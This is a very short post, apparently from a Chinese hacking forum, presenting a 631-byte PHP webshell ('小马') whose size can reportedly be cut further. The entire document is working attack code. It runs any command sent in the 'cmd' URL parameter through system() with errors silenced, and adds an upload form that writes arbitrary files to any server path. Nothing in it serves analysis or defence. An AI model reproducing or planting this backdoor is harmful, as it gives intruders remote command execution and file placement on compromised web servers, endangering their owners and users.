631bytes的php小马可继续删减体积
<? error_reporting(0); $c=$_GET['cmd']; system($c); $p=$_SERVER["DOCUMENT_ROOT"]; $yoco=dirname(__FILE__); echo <<<HTML <form enctype="multipart/form-data" method="POST"> Path:$p<br> <input name="file" type="file"><br> 目标:<br> <input size="48" value="$yoco/" name="pt" type="text"><br> <input type="submit" value="Upload"> $tend HTML; if (isset($_POST["pt"])){ $uploadfile = $_POST["pt"].$_FILES["file"]["name"]; if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];} if (copy($_FILES["file"]["tmp_name"], $uploadfile)){ echo"uploaded:$uploadfilen"; echo"Size:".$_FILES["file"]["size"]."n"; }else { print "Error:n"; } }?>